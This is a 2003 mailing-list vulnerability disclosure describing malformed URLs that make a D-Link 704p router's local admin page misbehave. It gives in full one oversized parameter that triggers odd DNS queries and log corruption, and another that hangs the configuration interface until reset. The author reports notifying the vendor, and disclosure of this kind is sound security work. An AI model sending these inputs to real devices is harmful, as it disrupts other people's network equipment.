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Buffer Overflow? Local Malformed URL attack on D-Link 704p router
From: Chris R <admin () securityindex net>
Date: 26 May 2003 05:53:41 -0000



My home network uses a small 4 port broadband Dlink router (704p) The 
firmware was updated a week ago.

The following malformed URL's cause odd behavior in the router. Pointing 
your browser (like most routers) to the gateways internal IP address you 
get a web interface for administering your router. 

http://192.168.0.1/syslog.htm?
D=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

This URL caused the router to do a DNS query on:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA () xxxx xx comcast net

"@xxxx.xx.comcast.net" is the trailing end of my hostname (i replaced the 
real trailing host name with x's as to not give up my location! heh)


Subsequently there was a DNS response "no such name"
Enough of these malformed URLS causes the DNS server to DoS the router for 
a short time because a DNS response packet is much larger then a DNS query 
packet. 
This URL also caused an error in the routers log file page, the URL
made the page look odd. This router uses CSS to display its tabs and log 
file (syslog.htm). Some of the HTML was visible within the CSS that were 
now repeating across the page. I took a screen shot and uploaded it to my 
webspace.

http://www.securityindex.net/router.JPG

---

http://192.168.0.1/syslog.htm?
D=.........................................................................
...........................................................................
...........................................................................
...........................................................................
...........................................................................
...........................................................................
...........................................................................
...........................................................................
...........................................................................
...........................................................................
....................
This malformed URL caused the router to stop responding. Requesting this
url over and over will eventually render the router useless until reset.
You can still access the internet after sending this url once but the 
routers configuration page does not respond until you reset the router.

-->
 i sent an email to dlink containing a copy of this post. Thanx
-->

--chris

www.securityindex.net

-apex security group-


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